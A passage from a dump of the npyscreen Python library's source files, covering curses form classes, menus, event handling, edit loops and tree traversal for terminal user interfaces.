135 | # example sort function # if the_item:
136 | # example sort function # if the_item.getContent():
137 | # example sort function # frm = the_item.getContent().get('from')
138 | # example sort function # try:
139 | # example sort function # frm = email.utils.parseaddr(frm)[0]
140 | # example sort function # except:
141 | # example sort function # pass
142 | # example sort function # return frm
143 | # example sort function # else:
144 | # example sort function # return the_item
145 | #key = operator.methodcaller('getContent',)
146 |
147 | if self.sort_function_wrapper and sort_function:
148 | # def wrapped_sort_function(the_item):
149 | # if the_item:
150 | # the_real_item = the_item.getContent()
151 | # return sort_function(the_real_item)
152 | # else:
153 | # return the_item
154 | # _this_sort_function = wrapped_sort_function
155 | _this_sort_function = self.create_wrapped_sort_function(sort_function)
156 | else:
157 | _this_sort_function = sort_function
158 |
159 | key = _this_sort_function
160 | if not ignoreRoot:
161 | yield self
162 | nodes_to_yield = collections.deque() # better memory management than a list for pop(0)
163 | if self.expanded or not onlyExpanded:
164 | if sort:
165 | # This and the similar block below could be combined into a nested function
166 | if key:
167 | nodes_to_yield.extend(sorted(self.getChildren(), key=key,))
168 | else:
169 | nodes_to_yield.extend(sorted(self.getChildren()))
170 | else:
171 | nodes_to_yield.extend(self.getChildren())
172 | while nodes_to_yield:
173 | child = nodes_to_yield.popleft()
174 | if child.expanded or not onlyExpanded:
175 | # This and the similar block above could be combined into a nested function
176 | if sort:
177 | if key:
178 | # must be reverse because about to use extendleft() below.
179 | nodes_to_yield.extendleft(sorted(child.getChildren(), key=key, reverse=True))
180 | else:
181 | nodes_to_yield.extendleft(sorted(child.getChildren(), reverse=True))
182 | else:
183 | #for node in child.getChildren():
184 | # if node not in nodes_to_yield:
185 | # nodes_to_yield.appendleft(node)
186 | yield_these = list(child.getChildren())
187 | yield_these.reverse()
188 | nodes_to_yield.extendleft(yield_these)
189 | del yield_these
190 | yield child
191 |
192 | def _walkTreeRecursive(self,onlyExpanded=True, ignoreRoot=True,):
193 | #This is an old, recursive version
194 | if (not onlyExpanded) or (self.expanded):
195 | for child in self.getChildren():
196 | for node in child.walkTree(onlyExpanded=onlyExpanded, ignoreRoot=False):
197 | yield node
198 |
199 | def getTreeAsList(self, onlyExpanded=True, sort=None, key=None):
200 | _a = []
201 | for node in self.walkTree(onlyExpanded=onlyExpanded, ignoreRoot=self.ignoreRoot, sort=sort):
202 | try:
203 | _a.append(weakref.proxy(node))
204 | except:
205 | _a.append(node)
206 | return _a
207 |
208 |
--------------------------------------------------------------------------------
/npyscreen/eveventhandler.py:
--------------------------------------------------------------------------------
1 | import weakref
2 |
3 | class Event(object):
4 | # a basic event class
5 | def __init__(self, name, payload=None):
6 | self.name = name
7 | self.payload = payload
8 |
9 |
10 | class EventHandler(object):
11 | # This partial base class provides the framework to handle events.
12 |
13 | def initialize_event_handling(self):
14 | self.event_handlers = {}
15 |
16 | def add_event_hander(self, event_name, handler):
17 | if not event_name in self.event_handlers:
18 | self.event_handlers[event_name] = set() # weakref.WeakSet() #Why doesn't the WeakSet work?
19 | self.event_handlers[event_name].add(handler)
20 |
21 | parent_app = self.find_parent_app()
22 | if parent_app:
23 | parent_app.register_for_event(self, event_name)
24 | else:
25 | # Probably are the parent App!
26 | # but could be a form outside a proper application environment
27 | try:
28 | self.register_for_event(self, event_name)
29 | except AttributeError:
30 | pass
31 |
32 | def remove_event_handler(self, event_name, handler):
33 | if event_name in self.event_handlers:
34 | self.event_handlers[event_name].remove(handler)
35 | if not self.event_handlers[event_name]:
36 | self.event_handlers.pop({})
37 |
38 |
39 | def handle_event(self, event):
40 | "return True if the event was handled. Return False if the application should stop sending this event."
41 | if event.name not in self.event_handlers:
42 | return False
43 | else:
44 | remove_list = []
45 | for handler in self.event_handlers[event.name]:
46 | try:
47 | handler(event)
48 | except weakref.ReferenceError:
49 | remove_list.append(handler)
50 | for dead_handler in remove_list:
51 | self.event_handlers[event.name].remove(handler)
52 | return True
53 |
54 | def find_parent_app(self):
55 | if hasattr(self, "parentApp"):
56 | return self.parentApp
57 | elif hasattr(self, "parent") and hasattr(self.parent, "parentApp"):
58 | return self.parent.parentApp
59 | else:
60 | return None
61 |
62 |
--------------------------------------------------------------------------------
/npyscreen/fmActionForm.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import weakref
3 | from . import fmForm
4 | from . import wgwidget as widget
5 | class ActionForm(fmForm.Form):
6 | """A form with OK and Cancel buttons. Users should override the on_ok and on_cancel methods."""
7 | CANCEL_BUTTON_BR_OFFSET = (2, 12)
8 | OK_BUTTON_TEXT = "OK"
9 | CANCEL_BUTTON_TEXT = "Cancel"
10 |
11 | def set_up_exit_condition_handlers(self):
12 | super(ActionForm, self).set_up_exit_condition_handlers()
13 | self.how_exited_handers.update({
14 | widget.EXITED_ESCAPE: self.find_cancel_button
15 | })
16 |
17 | def find_cancel_button(self):
18 | self.editw = len(self._widgets__)-2
19 |
20 | def edit(self):
21 | # Add ok and cancel buttons. Will remove later
22 | tmp_rely, tmp_relx = self.nextrely, self.nextrelx
23 |
24 | c_button_text = self.CANCEL_BUTTON_TEXT
25 | cmy, cmx = self.curses_pad.getmaxyx()
26 | cmy -= self.__class__.CANCEL_BUTTON_BR_OFFSET[0]
27 | cmx -= len(c_button_text)+self.__class__.CANCEL_BUTTON_BR_OFFSET[1]
28 | self.c_button = self.add_widget(self.__class__.OKBUTTON_TYPE, name=c_button_text, rely=cmy, relx=cmx, use_max_space=True)
29 | c_button_postion = len(self._widgets__)-1
30 | self.c_button.update()
31 |
32 | my, mx = self.curses_pad.getmaxyx()
33 | ok_button_text = self.OK_BUTTON_TEXT
34 | my -= self.__class__.OK_BUTTON_BR_OFFSET[0]
35 | mx -= len(ok_button_text)+self.__class__.OK_BUTTON_BR_OFFSET[1]
36 | self.ok_button = self.add_widget(self.__class__.OKBUTTON_TYPE, name=ok_button_text, rely=my, relx=mx, use_max_space=True)
37 | ok_button_postion = len(self._widgets__)-1
38 | # End add buttons
39 |
40 | self.editing=True
41 | if self.editw < 0: self.editw=0
42 | if self.editw > len(self._widgets__)-1:
43 | self.editw = len(self._widgets__)-1
44 | if not self.preserve_selected_widget:
45 | self.editw = 0
46 |
47 |
48 | if not self._widgets__[self.editw].editable: self.find_next_editable()
49 | self.ok_button.update()
50 |
51 | self.display()
52 |
53 | while not self._widgets__[self.editw].editable:
54 | self.editw += 1
55 | if self.editw > len(self._widgets__)-2:
56 | self.editing = False
57 | return False
58 |
59 | self.edit_return_value = None
60 | while self.editing:
61 | if not self.ALL_SHOWN: self.on_screen()
62 | try:
63 | self.while_editing(weakref.proxy(self._widgets__[self.editw]))
64 | except TypeError:
65 | self.while_editing()
66 | self._widgets__[self.editw].edit()
67 | self._widgets__[self.editw].display()
68 |
69 | self.handle_exiting_widgets(self._widgets__[self.editw].how_exited)
70 |
71 | if self.editw > len(self._widgets__)-1: self.editw = len(self._widgets__)-1
72 | if self.ok_button.value or self.c_button.value:
73 | self.editing = False
74 |
75 | if self.ok_button.value:
76 | self.ok_button.value = False
77 | self.edit_return_value = self.on_ok()
78 | elif self.c_button.value:
79 | self.c_button.value = False
80 | self.edit_return_value = self.on_cancel()
81 |
82 | self.ok_button.destroy()
83 | self.c_button.destroy()
84 | del self._widgets__[ok_button_postion]
85 | del self.ok_button
86 | del self._widgets__[c_button_postion]
87 | del self.c_button
88 | self.nextrely, self.nextrelx = tmp_rely, tmp_relx
89 | self.display()
90 | self.editing = False
91 |
92 | return self.edit_return_value
93 |
94 | def on_cancel(self):
95 | pass
96 |
97 | def on_ok(self):
98 | pass
99 |
100 | def move_ok_button(self):
101 | super(ActionForm, self).move_ok_button()
102 | if hasattr(self, 'c_button'):
103 | c_button_text = self.CANCEL_BUTTON_TEXT
104 | cmy, cmx = self.curses_pad.getmaxyx()
105 | cmy -= self.__class__.CANCEL_BUTTON_BR_OFFSET[0]
106 | cmx -= len(c_button_text)+self.__class__.CANCEL_BUTTON_BR_OFFSET[1]
107 | self.c_button.rely = cmy
108 | self.c_button.relx = cmx
109 |
110 |
111 |
112 | class ActionFormExpanded(ActionForm):
113 | BLANK_LINES_BASE = 1
114 | OK_BUTTON_BR_OFFSET = (1,6)
115 | CANCEL_BUTTON_BR_OFFSET = (1, 12)
116 |
117 |
--------------------------------------------------------------------------------
/npyscreen/fmActionFormV2.py:
--------------------------------------------------------------------------------
1 | import operator
2 | import weakref
3 | from . import wgwidget as widget
4 | from . import wgbutton
5 | from . import fmForm
6 |
7 | class ActionFormV2(fmForm.FormBaseNew):
8 | class OK_Button(wgbutton.MiniButtonPress):
9 | def whenPressed(self):
10 | return self.parent._on_ok()
11 |
12 | class Cancel_Button(wgbutton.MiniButtonPress):
13 | def whenPressed(self):
14 | return self.parent._on_cancel()
15 |
16 | OKBUTTON_TYPE = OK_Button
17 | CANCELBUTTON_TYPE = Cancel_Button
18 | CANCEL_BUTTON_BR_OFFSET = (2, 12)
19 | OK_BUTTON_TEXT = "OK"
20 | CANCEL_BUTTON_TEXT = "Cancel"
21 | def __init__(self, *args, **keywords):
22 | super(ActionFormV2, self).__init__(*args, **keywords)
23 | self._added_buttons = {}
24 | self.create_control_buttons()
25 |
26 |
27 | def create_control_buttons(self):
28 | self._add_button('ok_button',
29 | self.__class__.OKBUTTON_TYPE,
30 | self.__class__.OK_BUTTON_TEXT,
31 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[0],
32 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[1] - len(self.__class__.OK_BUTTON_TEXT),
33 | None
34 | )
35 |
36 | self._add_button('cancel_button',
37 | self.__class__.CANCELBUTTON_TYPE,
38 | self.__class__.CANCEL_BUTTON_TEXT,
39 | 0 - self.__class__.CANCEL_BUTTON_BR_OFFSET[0],
40 | 0 - self.__class__.CANCEL_BUTTON_BR_OFFSET[1] - len(self.__class__.CANCEL_BUTTON_TEXT),
41 | None
42 | )
43 |
44 | def on_cancel(self):
45 | pass
46 |
47 | def on_ok(self):
48 | pass
49 |
50 | def _on_ok(self):
51 | self.editing = self.on_ok()
52 |
53 | def _on_cancel(self):
54 | self.editing = self.on_cancel()
55 |
56 | def set_up_exit_condition_handlers(self):
57 | super(ActionFormV2, self).set_up_exit_condition_handlers()
58 | self.how_exited_handers.update({
59 | widget.EXITED_ESCAPE: self.find_cancel_button
60 | })
61 |
62 | def find_cancel_button(self):
63 | self.editw = len(self._widgets__)-2
64 |
65 | def _add_button(self, button_name, button_type, button_text, button_rely, button_relx, button_function):
66 | tmp_rely, tmp_relx = self.nextrely, self.nextrelx
67 | this_button = self.add_widget(
68 | button_type,
69 | name=button_text,
70 | rely=button_rely,
71 | relx=button_relx,
72 | when_pressed_function = button_function,
73 | use_max_space=True,
74 | )
75 | self._added_buttons[button_name] = this_button
76 | self.nextrely, self.nextrelx = tmp_rely, tmp_relx
77 |
78 |
79 | def pre_edit_loop(self):
80 | self._widgets__.sort(key=operator.attrgetter('relx'))
81 | self._widgets__.sort(key=operator.attrgetter('rely'))
82 | if not self.preserve_selected_widget:
83 | self.editw = 0
84 | if not self._widgets__[self.editw].editable:
85 | self.find_next_editable()
86 |
87 | def post_edit_loop(self):
88 | pass
89 |
90 | def _during_edit_loop(self):
91 | pass
92 |
93 | class ActionFormExpandedV2(ActionFormV2):
94 | BLANK_LINES_BASE = 1
95 | OK_BUTTON_BR_OFFSET = (1,6)
96 | CANCEL_BUTTON_BR_OFFSET = (1, 12)
97 |
98 | class ActionFormMinimal(ActionFormV2):
99 | def create_control_buttons(self):
100 | self._add_button('ok_button',
101 | self.__class__.OKBUTTON_TYPE,
102 | self.__class__.OK_BUTTON_TEXT,
103 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[0],
104 | 0 - self.__class__.OK_BUTTON_BR_OFFSET[1] - len(self.__class__.OK_BUTTON_TEXT),
105 | None
106 | )
107 |
108 |
--------------------------------------------------------------------------------
/npyscreen/fmFormMutt.py:
--------------------------------------------------------------------------------
1 | #/usr/bin/env python
2 | import curses
3 | from . import fmForm
4 | from . import fmFormWithMenus
5 | from . import wgtextbox
6 | from . import wgmultiline
7 | #import grid
8 | #import editmultiline
9 |
10 |
11 | class FormMutt(fmForm.FormBaseNew):
12 | BLANK_LINES_BASE = 0
13 | BLANK_COLUMNS_RIGHT = 0
14 | DEFAULT_X_OFFSET = 2
15 | FRAMED = False
16 | MAIN_WIDGET_CLASS = wgmultiline.MultiLine
17 | MAIN_WIDGET_CLASS_START_LINE = 1
18 | STATUS_WIDGET_CLASS = wgtextbox.Textfield
19 | STATUS_WIDGET_X_OFFSET = 0
20 | COMMAND_WIDGET_CLASS= wgtextbox.Textfield
21 | COMMAND_WIDGET_NAME = None
22 | COMMAND_WIDGET_BEGIN_ENTRY_AT = None
23 | COMMAND_ALLOW_OVERRIDE_BEGIN_ENTRY_AT = True
24 | #MAIN_WIDGET_CLASS = grid.SimpleGrid
25 | #MAIN_WIDGET_CLASS = editmultiline.MultiLineEdit
26 | def __init__(self, cycle_widgets = True, *args, **keywords):
27 | super(FormMutt, self).__init__(cycle_widgets=cycle_widgets, *args, **keywords)
28 |
29 |
30 | def draw_form(self):
31 | MAXY, MAXX = self.lines, self.columns #self.curses_pad.getmaxyx()
32 | self.curses_pad.hline(0, 0, curses.ACS_HLINE, MAXX-1)
33 | self.curses_pad.hline(MAXY-2-self.BLANK_LINES_BASE, 0, curses.ACS_HLINE, MAXX-1)
34 |
35 | def create(self):
36 | MAXY, MAXX = self.lines, self.columns
37 |
38 | self.wStatus1 = self.add(self.__class__.STATUS_WIDGET_CLASS, rely=0,
39 | relx=self.__class__.STATUS_WIDGET_X_OFFSET,
40 | editable=False,
41 | )
42 |
43 | if self.__class__.MAIN_WIDGET_CLASS:
44 | self.wMain = self.add(self.__class__.MAIN_WIDGET_CLASS,
45 | rely=self.__class__.MAIN_WIDGET_CLASS_START_LINE,
46 | relx=0, max_height = -2,
47 | )
48 | self.wStatus2 = self.add(self.__class__.STATUS_WIDGET_CLASS, rely=MAXY-2-self.BLANK_LINES_BASE,
49 | relx=self.__class__.STATUS_WIDGET_X_OFFSET,
50 | editable=False,
51 | )
52 |
53 | if not self.__class__.COMMAND_WIDGET_BEGIN_ENTRY_AT:
54 | self.wCommand = self.add(self.__class__.COMMAND_WIDGET_CLASS, name=self.__class__.COMMAND_WIDGET_NAME,
55 | rely = MAXY-1-self.BLANK_LINES_BASE, relx=0,)
56 | else:
57 | self.wCommand = self.add(
58 | self.__class__.COMMAND_WIDGET_CLASS, name=self.__class__.COMMAND_WIDGET_NAME,
59 | rely = MAXY-1-self.BLANK_LINES_BASE, relx=0,
60 | begin_entry_at = self.__class__.COMMAND_WIDGET_BEGIN_ENTRY_AT,
61 | allow_override_begin_entry_at = self.__class__.COMMAND_ALLOW_OVERRIDE_BEGIN_ENTRY_AT
62 | )
63 |
64 | self.wStatus1.important = True
65 | self.wStatus2.important = True
66 | self.nextrely = 2
67 |
68 | def h_display(self, input):
69 | super(FormMutt, self).h_display(input)
70 | if hasattr(self, 'wMain'):
71 | if not self.wMain.hidden:
72 | self.wMain.display()
73 |
74 | def resize(self):
75 | super(FormMutt, self).resize()
76 | MAXY, MAXX = self.lines, self.columns
77 | self.wStatus2.rely = MAXY-2-self.BLANK_LINES_BASE
78 | self.wCommand.rely = MAXY-1-self.BLANK_LINES_BASE
79 |
80 | class FormMuttWithMenus(FormMutt, fmFormWithMenus.FormBaseNewWithMenus):
81 | def __init__(self, *args, **keywords):
82 | super(FormMuttWithMenus, self).__init__(*args, **keywords)
83 | self.initialize_menus()
84 |
--------------------------------------------------------------------------------
/npyscreen/fmFormWithMenus.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | import curses
4 | from . import fmForm
5 | from . import fmActionForm
6 | from . import fmActionFormV2
7 | from . import wgNMenuDisplay
8 |
9 | class FormBaseNewWithMenus(fmForm.FormBaseNew, wgNMenuDisplay.HasMenus):
10 | """The FormBaseNew class, but with a handling system for menus as well. See the HasMenus class for details."""
11 | def __init__(self, *args, **keywords):
12 | super(FormBaseNewWithMenus, self).__init__(*args, **keywords)
13 | self.initialize_menus()
14 |
15 | def display_menu_advert_at(self):
16 | return self.lines-1, 1
17 |
18 | def draw_form(self):
19 | super(FormBaseNewWithMenus, self).draw_form()
20 | menu_advert = " " + self.__class__.MENU_KEY + ": Menu "
21 | if isinstance(menu_advert, bytes):
22 | menu_advert = menu_advert.decode('utf-8', 'replace')
23 | y, x = self.display_menu_advert_at()
24 | self.add_line(y, x,
25 | menu_advert,
26 | self.make_attributes_list(menu_advert, curses.A_NORMAL),
27 | self.columns - x - 1
28 | )
29 |
30 |
31 | class FormWithMenus(fmForm.Form, wgNMenuDisplay.HasMenus):
32 | """The Form class, but with a handling system for menus as well. See the HasMenus class for details."""
33 | def __init__(self, *args, **keywords):
34 | super(FormWithMenus, self).__init__(*args, **keywords)
35 | self.initialize_menus()
36 |
37 | def display_menu_advert_at(self):
38 | return self.lines-1, 1
39 |
40 | def draw_form(self):
41 | super(FormWithMenus, self).draw_form()
42 | menu_advert = " " + self.__class__.MENU_KEY + ": Menu "
43 | y, x = self.display_menu_advert_at()
44 | if isinstance(menu_advert, bytes):
45 | menu_advert = menu_advert.decode('utf-8', 'replace')
46 | self.add_line(y, x,
47 | menu_advert,
48 | self.make_attributes_list(menu_advert, curses.A_NORMAL),
49 | self.columns - x - 1
50 | )
51 |
52 | # The following class does not inherit from FormWithMenus and so some code is duplicated.
53 | # The pig is getting to inherit edit() from ActionForm, but draw_form from FormWithMenus
54 | class ActionFormWithMenus(fmActionForm.ActionForm, wgNMenuDisplay.HasMenus):
55 | def __init__(self, *args, **keywords):
56 | super(ActionFormWithMenus, self).__init__(*args, **keywords)
57 | self.initialize_menus()
58 |
59 | def display_menu_advert_at(self):
60 | return self.lines-1, 1
61 |
62 | def draw_form(self):
63 | super(ActionFormWithMenus, self).draw_form()
64 | menu_advert = " " + self.__class__.MENU_KEY + ": Menu "
65 | y, x = self.display_menu_advert_at()
66 |
67 | if isinstance(menu_advert, bytes):
68 | menu_advert = menu_advert.decode('utf-8', 'replace')
69 | self.add_line(y, x,
70 | menu_advert,
71 | self.make_attributes_list(menu_advert, curses.A_NORMAL),
72 | self.columns - x - 1
73 | )
74 |
75 | class ActionFormV2WithMenus(fmActionFormV2.ActionFormV2, wgNMenuDisplay.HasMenus):
76 | def __init__(self, *args, **keywords):
77 | super(ActionFormV2WithMenus, self).__init__(*args, **keywords)
78 | self.initialize_menus()
79 |
80 |
81 |
82 | class SplitFormWithMenus(fmForm.SplitForm, FormWithMenus):
83 | """Just the same as the Title Form, but with a horizontal line"""
84 | def draw_form(self):
85 | super(SplitFormWithMenus, self).draw_form()
86 |
87 |
--------------------------------------------------------------------------------
/npyscreen/fmPopup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # encoding: utf-8
3 |
4 | from . import fmForm
5 | from . import fmActionFormV2
6 | import curses
7 |
8 |
9 | class Popup(fmForm.Form):
10 | DEFAULT_LINES = 12
11 | DEFAULT_COLUMNS = 60
12 | SHOW_ATX = 10
13 | SHOW_ATY = 2
14 |
15 | class ActionPopup(fmActionFormV2.ActionFormV2):
16 | DEFAULT_LINES = 12
17 | DEFAULT_COLUMNS = 60
18 | SHOW_ATX = 10
19 | SHOW_ATY = 2
20 |
21 |
22 | class MessagePopup(Popup):
23 | def __init__(self, *args, **keywords):
24 | from . import wgmultiline as multiline
25 | super(MessagePopup, self).__init__(*args, **keywords)
26 | self.TextWidget = self.add(multiline.Pager, scroll_exit=True, max_height=self.widget_useable_space()[0]-2)
27 |
28 | class PopupWide(Popup):
29 | DEFAULT_LINES = 14
30 | DEFAULT_COLUMNS = None
31 | SHOW_ATX = 0
32 | SHOW_ATY = 0
33 |
34 | class ActionPopupWide(fmActionFormV2.ActionFormV2):
35 | DEFAULT_LINES = 14
36 | DEFAULT_COLUMNS = None
37 | SHOW_ATX = 0
38 | SHOW_ATY = 0
39 |
--------------------------------------------------------------------------------
/npyscreen/fm_form_edit_loop.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | """
4 | form_edit_loop.py
5 |
6 | Created by Nicholas Cole on 2008-03-31.
7 | Copyright (c) 2008 __MyCompanyName__. All rights reserved.
8 | """
9 |
10 | import sys
11 | import os
12 | import weakref
13 |
14 | class FormNewEditLoop(object):
15 | "Edit Fields .editing = False"
16 | def pre_edit_loop(self):
17 | pass
18 | def post_edit_loop(self):
19 | pass
20 | def _during_edit_loop(self):
21 | pass
22 |
23 | def edit_loop(self):
24 | self.editing = True
25 | self.display()
26 | while not (self._widgets__[self.editw].editable and not self._widgets__[self.editw].hidden):
27 | self.editw += 1
28 | if self.editw > len(self._widgets__)-1:
29 | self.editing = False
30 | return False
31 |
32 | while self.editing:
33 | if not self.ALL_SHOWN: self.on_screen()
34 | self.while_editing(weakref.proxy(self._widgets__[self.editw]))
35 | self._during_edit_loop()
36 | if not self.editing:
37 | break
38 | self._widgets__[self.editw].edit()
39 | self._widgets__[self.editw].display()
40 |
41 | self.handle_exiting_widgets(self._widgets__[self.editw].how_exited)
42 |
43 | if self.editw > len(self._widgets__)-1: self.editw = len(self._widgets__)-1
44 |
45 | def edit(self):
46 | self.pre_edit_loop()
47 | self.edit_loop()
48 | self.post_edit_loop()
49 |
50 | class FormDefaultEditLoop(object):
51 | def edit(self):
52 | """Edit the fields until the user selects the ok button added in the lower right corner. Button will
53 | be removed when editing finishes"""
54 | # Add ok button. Will remove later
55 | tmp_rely, tmp_relx = self.nextrely, self.nextrelx
56 | my, mx = self.curses_pad.getmaxyx()
57 | ok_button_text = self.__class__.OK_BUTTON_TEXT
58 | my -= self.__class__.OK_BUTTON_BR_OFFSET[0]
59 | mx -= len(ok_button_text)+self.__class__.OK_BUTTON_BR_OFFSET[1]
60 | self.ok_button = self.add_widget(self.__class__.OKBUTTON_TYPE, name=ok_button_text, rely=my, relx=mx, use_max_space=True)
61 | ok_button_postion = len(self._widgets__)-1
62 | self.ok_button.update()
63 | # End add buttons
64 | self.editing=True
65 | if self.editw < 0: self.editw=0
66 | if self.editw > len(self._widgets__)-1:
67 | self.editw = len(self._widgets__)-1
68 | if not self.preserve_selected_widget:
69 | self.editw = 0
70 | if not self._widgets__[self.editw].editable: self.find_next_editable()
71 |
72 |
73 | self.display()
74 |
75 | while not (self._widgets__[self.editw].editable and not self._widgets__[self.editw].hidden):
76 | self.editw += 1
77 | if self.editw > len(self._widgets__)-1:
78 | self.editing = False
79 | return False
80 |
81 | while self.editing:
82 | if not self.ALL_SHOWN: self.on_screen()
83 | self.while_editing(weakref.proxy(self._widgets__[self.editw]))
84 | if not self.editing:
85 | break
86 | self._widgets__[self.editw].edit()
87 | self._widgets__[self.editw].display()
88 |
89 | self.handle_exiting_widgets(self._widgets__[self.editw].how_exited)
90 |
91 | if self.editw > len(self._widgets__)-1: self.editw = len(self._widgets__)-1
92 | if self.ok_button.value:
93 | self.editing = False
94 |
95 | self.ok_button.destroy()
96 | del self._widgets__[ok_button_postion]
97 | del self.ok_button
98 | self.nextrely, self.nextrelx = tmp_rely, tmp_relx
99 | self.display()
100 |
101 | #try:
102 | # self.parentApp._FORM_VISIT_LIST.pop()
103 | #except:
104 | # pass
105 |
106 |
107 | self.editing = False
108 | self.erase()
109 |
110 | def move_ok_button(self):
111 | if hasattr(self, 'ok_button'):
112 | my, mx = self.curses_pad.getmaxyx()
113 | my -= self.__class__.OK_BUTTON_BR_OFFSET[0]
114 | mx -= len(self.__class__.OK_BUTTON_TEXT)+self.__class__.OK_BUTTON_BR_OFFSET[1]
115 | self.ok_button.relx = mx
116 | self.ok_button.rely = my
117 |
118 |
119 |
120 |
--------------------------------------------------------------------------------
/npyscreen/globals.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | DEBUG = False
4 | DISABLE_RESIZE_SYSTEM = False
--------------------------------------------------------------------------------
/npyscreen/muMenu.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # encoding: utf-8
3 |
4 | import sys
5 | import os
6 | from . import wgmultiline
7 | from . import fmForm
8 | import weakref
9 |
10 |
11 | class Menu(object):
12 | "This class is obsolete and Depricated. Use NewMenu instead."
13 |
14 | def __init__(self, name=None, show_atx=None, show_aty=None):
15 | self.__menu_items = []
16 | self.name = name
17 | self.__show_atx = show_atx
18 | self.__show_aty = show_aty
19 |
20 | def before_item_select(self):
21 | pass
22 |
23 | def add_item(self, text, func):
24 | self.__menu_items.append((text, func))
25 |
26 | def set_menu(self, pairs):
27 | """Pass in a list of pairs of text labels and functions"""
28 | self.__menu_items = []
29 | for pair in pairs:
30 | self.add_item(pair[0], pair[1])
31 |
32 | def edit(self, *args, **keywords):
33 | """Display choice to user, execute function associated"""
34 |
35 | menu_text = [x[0] for x in self.__menu_items]
36 |
37 | longest_text = 0
38 | #Slightly different layout if we are showing a title
39 | if self.name: longest_text=len(self.name)+2
40 | for item in menu_text:
41 | if len(item) > longest_text:
42 | longest_text = len(item)
43 |
44 | height = len(menu_text)
45 | if self.name:
46 | height +=3
47 | else:
48 | height +=2
49 |
50 | if height > 14:
51 | height = 13
52 |
53 | atx = self.__show_atx or 20
54 | aty = self.__show_aty or 2
55 |
56 | popup = fmForm.Form(name=self.name,
57 | lines=height, columns=longest_text+4,
58 | show_aty=aty, show_atx=atx, )
59 | if not self.name: popup.nextrely = 1
60 | l = popup.add(wgmultiline.MultiLine,
61 | values=menu_text,
62 | #exit_left=True,
63 | return_exit=True)
64 |
65 | popup.display()
66 | l.edit()
67 | if l.value is not None:
68 | self.before_item_select()
69 | self.__menu_items[l.value][1]()
70 |
71 |
--------------------------------------------------------------------------------
/npyscreen/muNewMenu.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | import weakref
4 |
5 |
6 | class NewMenu(object):
7 | """docstring for NewMenu"""
8 | def __init__(self, name=None, shortcut=None, preDisplayFunction=None, pdfuncArguments=None, pdfuncKeywords=None):
9 | self.name = name
10 | self._menuList = []
11 | self.enabled = True
12 | self.shortcut = shortcut
13 | self.pre_display_function = preDisplayFunction
14 | self.pdfunc_arguments= pdfuncArguments or ()
15 | self.pdfunc_keywords = pdfuncKeywords or {}
16 |
17 | def addItemsFromList(self, item_list):
18 | for l in item_list:
19 | if isinstance(l, MenuItem):
20 | self.addNewSubmenu(*l)
21 | else:
22 | self.addItem(*l)
23 |
24 | def addItem(self, *args, **keywords):
25 | _itm = MenuItem(*args, **keywords)
26 | self._menuList.append(_itm)
27 |
28 | def addSubmenu(self, submenu):
29 | "Not recommended. Use addNewSubmenu instead"
30 | _itm = submenu
31 | self._menuList.append(submenu)
32 |
33 | def addNewSubmenu(self, *args, **keywords):
34 | _mnu = NewMenu(*args, **keywords)
35 | self._menuList.append(_mnu)
36 | return weakref.proxy(_mnu)
37 |
38 | def getItemObjects(self):
39 | return [itm for itm in self._menuList if itm.enabled]
40 |
41 | def do_pre_display_function(self):
42 | if self.pre_display_function:
43 | return self.pre_display_function(*self.pdfunc_arguments, **self.pdfunc_keywords)
44 |
45 | class MenuItem(object):
46 | """docstring for MenuItem"""
47 | def __init__(self, text='', onSelect=None, shortcut=None, document=None, arguments=None, keywords=None):
48 | self.setText(text)
49 | self.setOnSelect(onSelect)
50 | self.setDocumentation(document)
51 | self.shortcut = shortcut
52 | self.enabled = True
53 | self.arguments = arguments or ()
54 | self.keywords = keywords or {}
55 |
56 | def setText(self, text):
57 | self._text = text
58 |
59 | def getText(self):
60 | return self._text
61 |
62 | def setOnSelect(self, onSelect):
63 | self.onSelectFunction = onSelect
64 |
65 | def setDocumentation(self, document):
66 | self._help = document
67 |
68 | def getDocumentation(self):
69 | return self._help
70 |
71 | def getHelp(self):
72 | return self._help
73 |
74 | def do(self):
75 | if self.onSelectFunction:
76 | return self.onSelectFunction(*self.arguments, **self.keywords)
77 |
--------------------------------------------------------------------------------
/npyscreen/npysGlobalOptions.py:
--------------------------------------------------------------------------------
1 | DISABLE_ALL_COLORS = False
2 | ASCII_ONLY = False # See the safe_string function in wgwidget. At the moment the encoding is not safe
--------------------------------------------------------------------------------
/npyscreen/npysNPSFilteredData.py:
--------------------------------------------------------------------------------
1 | class NPSFilteredDataBase(object):
2 | def __init__(self, values=None):
3 | self._values = None
4 | self._filter = None
5 | self._filtered_values = None
6 | self.set_values(values)
7 |
8 | def set_values(self, value):
9 | self._values = value
10 |
11 | def get_all_values(self):
12 | return self._values
13 |
14 | def set_filter(self, this_filter):
15 | self._filter = this_filter
16 | self._apply_filter()
17 |
18 | def filter_data(self):
19 | # should set self._filtered_values to the filtered values
20 | raise Exception("You need to define the way the filter operates")
21 |
22 | def get(self):
23 | self._apply_filter()
24 | return self._filtered_values
25 |
26 | def _apply_filter(self):
27 | # Could do some caching here - but the default definition does not.
28 | self._filtered_values = self.filter_data()
29 |
30 | class NPSFilteredDataList(NPSFilteredDataBase):
31 | def filter_data(self):
32 | if self._filter and self.get_all_values():
33 | return [x for x in self.get_all_values() if self._filter in x]
34 | else:
35 | return self.get_all_values()
36 |
37 |
38 |
--------------------------------------------------------------------------------
/npyscreen/npysThemeManagers.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | import curses
4 | from . import npysGlobalOptions
5 |
6 | def disableColor():
7 | npysGlobalOptions.DISABLE_ALL_COLORS = True
8 |
9 | def enableColor():
10 | npysGlobalOptions.DISABLE_ALL_COLORS = False
11 |
12 | class ThemeManager(object):
13 | # a tuple with (color_number, (r, g, b))
14 | # you can use this to redefine colour values.
15 | # This will only work on compatible terminals.
16 | # Betware that effects will last beyond the end of the
17 | # application.
18 | _color_values = (
